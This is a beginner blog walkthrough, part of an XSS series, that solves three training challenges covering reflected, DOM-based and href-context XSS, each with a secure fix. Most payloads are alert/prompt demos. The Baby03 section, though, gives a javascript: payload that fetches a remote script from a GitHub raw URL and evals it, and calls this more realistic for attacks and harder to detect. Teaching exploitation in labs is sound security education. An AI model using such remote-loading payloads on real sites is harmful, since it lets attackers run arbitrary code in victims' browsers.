Learning XSS Through Practice: Baby Challenge Walkthrough

XSS Series - Part 2 Part 2 of 6

If you’re new to web security, you’ve probably heard about XSS (Cross-Site Scripting) but might not fully understand what it is or how it works. Reading about vulnerabilities is one thing, but actually exploiting them yourself is where the real learning happens.

In this article, I’ll walk you through three beginner-friendly XSS challenges from xss.challenge.training.hacq.me. By the end, you’ll understand exactly what XSS is, how it works, and why it’s dangerous. Each challenge builds on the previous one, teaching you different aspects of XSS attacks.

What is XSS? (The Simple Explanation)

Before we dive into the challenges, let’s understand what XSS actually is:

Cross-Site Scripting (XSS) is a vulnerability that allows attackers to inject malicious JavaScript code into web pages. The “Cross-Site” part of the name can be misleading - the attack doesn’t always happen across different sites. The key idea is simpler: an attacker tricks a website into executing JavaScript code that it shouldn’t execute.

Here’s the core concept: When you send data to a website (like typing in a search box or posting a comment), that data is just text. But if the website doesn’t properly handle that text and instead treats it as code, an attacker can inject JavaScript that runs in other users’ browsers.

Think of it like this: You’re writing a letter (the text input), but if the recipient (the website) doesn’t check what’s in the letter and just follows whatever instructions are written, you could tell them to do something malicious.

The Three Challenges

We’ll work through three challenges, each teaching you something different:

  1. Baby01: The simplest case - no protection at all
  2. Baby02: DOM-based XSS - the attack happens in your browser
  3. Baby03: Context matters - even “protected” code can be vulnerable

Challenge Overview

ChallengeXSS TypeAttack VectorVulnerabilityProtection UsedExample Payload
Baby01Reflected XSSURL parameter (?payload=)Direct echo without sanitizationNone<script>alert('XSS')</script>
Baby02DOM-based XSSURL hash (#payload)innerHTML with user inputNone<img src=x onerror=prompt(1)>
Baby03Context-based XSSURL parameter (?payload=)javascript: URLs in href attributeshtmlspecialchars() (insufficient)javascript:alert('XSS')//

This table gives you a quick overview of what we’ll be learning. Notice how each challenge introduces a different concept: from no protection at all, to client-side vulnerabilities, to context-specific issues.

Let’s start!


Challenge 1: Baby01 - The Simplest XSS

Challenge URL: baby01.php

Understanding the Code

Let’s look at what the challenge does. When you view the page source, you’ll see:

<script src="hook.js"></script>
<?php
echo $_GET["payload"];
?>

<h1>inject</h1>
<form>
    <input type="text" name="payload" placeholder="your payload here">
    <input type="submit" value="GO">
</form>

What’s happening here?

  1. The page loads hook.js (we’ll see why this matters later)
  2. PHP code takes a parameter called payload from the URL ($_GET["payload"])
  3. It directly outputs that parameter using echo - no filtering, no sanitization, nothing
  4. There’s a form where you can enter a payload

The Vulnerability

The problem is on this line:

echo $_GET["payload"];

This takes whatever you put in the URL parameter payload and outputs it directly into the HTML page. If you put HTML or JavaScript code in there, the browser will treat it as actual code, not just text.

Step-by-Step Exploitation

Step 1: Try a simple script tag

In the form, try entering:

<script>alert('XSS')</script>

Or in the URL directly:

https://xss.challenge.training.hacq.me/challenges/baby01.php?payload=<script>alert('XSS')</script>

What happens?

The page receives your input, outputs it directly, and the browser sees:

<script>alert('XSS')</script>

The browser thinks: “Oh, this is a script tag! I should execute the JavaScript inside it.” And it does - the alert pops up!

Why This Works

This is called Reflected XSS because:

  • Your input is “reflected” back in the response
  • The payload isn’t stored anywhere - it only exists in this one request/response
  • The server takes your input and immediately sends it back without any processing

The key lesson: When user input is directly inserted into HTML without any filtering, you can inject JavaScript.

Secure Alternative

How should this be written securely?

<?php
$payload = $_GET["payload"];
echo htmlspecialchars($payload, ENT_QUOTES, 'UTF-8');
?>

htmlspecialchars() converts special characters like < and > into HTML entities (&lt; and &gt;), so the browser treats them as text, not code.


Challenge 2: Baby02 - DOM-Based XSS

Challenge URL: baby02.php

Understanding the Code

This challenge is different. Look at the source:

<script src="hook.js"></script>
<script>
    window.addEventListener("load", function() {
        var q = location.hash.substring(1);
        window.query.innerHTML = q == '' ? `Hello!` : (`Hello, ${decodeURI(q)}`);
    });
</script>

<p id="query"></p>

What’s happening here?

  1. The code runs when the page loads (addEventListener("load"))
  2. It reads location.hash - that’s everything after # in the URL
  3. It removes the # with substring(1)
  4. It uses innerHTML to insert the content into the <p id="query"> element

The Vulnerability

The problem is innerHTML:

window.query.innerHTML = q == '' ? `Hello!` : (`Hello, ${decodeURI(q)}`);

innerHTML treats the string as HTML markup. If you put HTML code in there, it becomes actual HTML elements in the page.

Step-by-Step Exploitation

Step 1: Understanding the attack vector

The attack comes through the URL hash (the part after #). Try this URL:

https://xss.challenge.training.hacq.me/challenges/baby02.php#test

You’ll see “Hello, test” on the page. The #test part was read and inserted.

Step 2: Try injecting HTML

Now try:

https://xss.challenge.training.hacq.me/challenges/baby02.php#<img src=x onerror=alert('XSS')>

What happens?

  1. location.hash = #<img src=x onerror=alert('XSS')>
  2. substring(1) removes #<img src=x onerror=alert('XSS')>
  3. innerHTML inserts it, and the browser creates an actual <img> element
  4. The browser tries to load image “x” (which doesn’t exist)
  5. The onerror event fires
  6. alert('XSS') should execute… but wait, it doesn’t!

Step 3: Why alert() doesn’t work

Remember hook.js? It likely overrides the alert() function. This is common in CTF challenges to verify you’re actually executing code.

Try prompt(1) instead:

https://xss.challenge.training.hacq.me/challenges/baby02.php#<img src=x onerror=prompt(1)>

Or URL-encoded:

https://xss.challenge.training.hacq.me/challenges/baby02.php#<img%20src=x%20onerror=prompt(1)>

Success! The prompt appears.

Why This Works

This is DOM-based XSS:

  • The attack happens entirely in the browser (client-side)
  • The payload never goes to the server
  • The vulnerability is in how JavaScript manipulates the DOM
  • innerHTML interprets strings as HTML, allowing injection

The key lesson: Even if the server is secure, client-side JavaScript can still be vulnerable if it unsafely handles user input.

Secure Alternative

Use textContent instead of innerHTML:

window.query.textContent = q == '' ? 'Hello!' : `Hello, ${decodeURI(q)}`;

textContent treats everything as plain text and automatically escapes HTML, preventing injection.


Challenge 3: Baby03 - Context Matters

Challenge URL: baby03.php

Understanding the Code

This one looks more secure at first glance:

<script src="hook.js"></script>
<?php
$escaped = htmlspecialchars($_GET['payload']);
?>

<h1>Hello, <?= $escaped ?></h1>
<a href="<?= $escaped ?>/friends">Friends</a>
<a href="<?= $escaped ?>/post">Posts</a>
<a href="<?= $escaped ?>/settings">Settings</a>

What’s happening here?

  1. The code uses htmlspecialchars() to escape the input
  2. The escaped value is used in two places:
    • In the <h1> tag (as text content)
    • In href attributes of links

The Vulnerability

htmlspecialchars() does protect against HTML injection. If you try:

?payload=<script>alert('XSS')</script>

It gets escaped to &lt;script&gt;alert('XSS')&lt;/script&gt; and won’t execute.

But look at where the value is used:

<a href="<?= $escaped ?>/friends">Friends</a>

The escaped value goes into an href attribute. Even though HTML is escaped, href attributes have a special feature: they can contain javascript: URLs.

Step-by-Step Exploitation

Step 1: Understanding javascript: URLs

In HTML, you can put javascript: in an href attribute, and the browser will execute the JavaScript:

<a href="javascript:alert('XSS')">Click me</a>

When clicked, this executes alert('XSS').

Step 2: Crafting the payload

We need to break out of the URL context. The code does:

<a href="<?= $escaped ?>/friends">Friends</a>

If $escaped is javascript:alert('XSS'), we get:

<a href="javascript:alert('XSS')/friends">Friends</a>

That won’t work because of the /friends part. We need to prevent that from being part of the URL. We can use // to comment it out:

?payload=javascript:alert('XSS')//

This creates:

<a href="javascript:alert('XSS')//friends">Friends</a>

The // comments out /friends, so the browser executes javascript:alert('XSS').

The working payload:

https://xss.challenge.training.hacq.me/challenges/baby03.php?payload=javascript:alert('XSS')//

Or URL-encoded:

https://xss.challenge.training.hacq.me/challenges/baby03.php?payload=javascript%3Aalert%28%27XSS%27%29%2F%2F

Alternative Solution: External Script Loading

There’s another way to solve this challenge that’s more realistic for real attacks. Instead of a simple alert(), you can load an external script:

Payload:

javascript:fetch('https://raw.githubusercontent.com/username/repo/main/payload.js').then(r=>r.text()).then(eval)//

How it works:

  1. Uses fetch() to download a JavaScript file from a remote server (like GitHub raw)
  2. Gets the text content with .then(r => r.text())
  3. Executes it with .then(eval)
  4. The // comments out the /friends part

Why this is useful:

  • You can host a larger payload externally
  • You can update the external script without re-injecting
  • More flexible for complex attacks
  • Harder to detect in some cases

This technique was even found on real websites, including the NATO website, demonstrating that this isn’t just a theoretical attack.

Why This Works

This demonstrates that context matters:

  • htmlspecialchars() protects against HTML injection
  • But it doesn’t protect against javascript: URLs in href attributes
  • The same input, used in different contexts, can have different security implications

The key lesson: Escaping alone isn’t enough. You need to validate input based on where and how it’s used.

Secure Alternative

For href attributes, you should:

  1. Whitelist allowed URL schemes (only http://, https://, relative paths)
  2. Reject javascript: and data: URLs
  3. Use a URL validation library
<?php
function sanitizeUrl($input) {
    // Remove any javascript: or data: schemes
    if (preg_match('/^(javascript|data):/i', $input)) {
        return '#';
    }
    // Only allow http, https, or relative URLs
    if (!preg_match('/^(https?:\/\/|\/|#)/i', $input)) {
        return '#';
    }
    return htmlspecialchars($input, ENT_QUOTES, 'UTF-8');
}

$escaped = sanitizeUrl($_GET['payload']);
?>

XSS Types Comparison

Now that you’ve completed all three challenges, let’s compare the different XSS types you’ve encountered:

AspectReflected XSS (Baby01)DOM-based XSS (Baby02)Context-based XSS (Baby03)
Where it happensServer-sideClient-side (browser)Server-side with client-side context
Payload locationURL parameters, form dataURL hash, client-side storageURL parameters in specific contexts
Server interactionPayload sent to serverPayload never sent to serverPayload sent to server
DetectionVisible in server logsNot visible in server logsVisible in server logs
ProtectionServer-side sanitizationClient-side validationContext-aware validation
Example scenarioSearch results, error messagesSingle-page applications, client-side routingLinks, redirects, URL handling
Difficulty to preventMedium (standard sanitization)Hard (requires secure DOM manipulation)Medium-Hard (requires context awareness)

Key Insight: Each type requires different defense strategies. You can’t use the same protection method for all three - context matters!


What You’ve Learned

By completing these three challenges, you now understand:

  1. What XSS is: Injecting JavaScript code into web pages through user input
  2. Reflected XSS: Payload in URL/request, reflected in response
  3. DOM-based XSS: Attack happens entirely in browser, never touches server
  4. Context matters: The same input can be safe in one context but dangerous in another
  5. Why filtering matters: Different contexts need different protection strategies

Key Takeaways

  • Never trust user input: Always validate and sanitize
  • Use the right tool: textContent for text, proper URL validation for links
  • Context is crucial: Where input is used determines how to protect it
  • Client-side isn’t safe: DOM manipulation can be vulnerable too
  • Practice helps: Hands-on challenges build real understanding

Next Steps

Now that you understand the basics, you can:

  1. Try more advanced challenges at xss.challenge.training.hacq.me
  2. Practice with Google XSS Game
  3. Set up OWASP Juice Shop for realistic practice
  4. Learn about Content Security Policy (CSP) and other defenses
  5. Study how modern frameworks handle XSS protection

Remember: The goal isn’t just to exploit vulnerabilities - it’s to understand them so you can build more secure applications. Every vulnerability you learn to exploit is a vulnerability you’ll know how to prevent.

Related Articles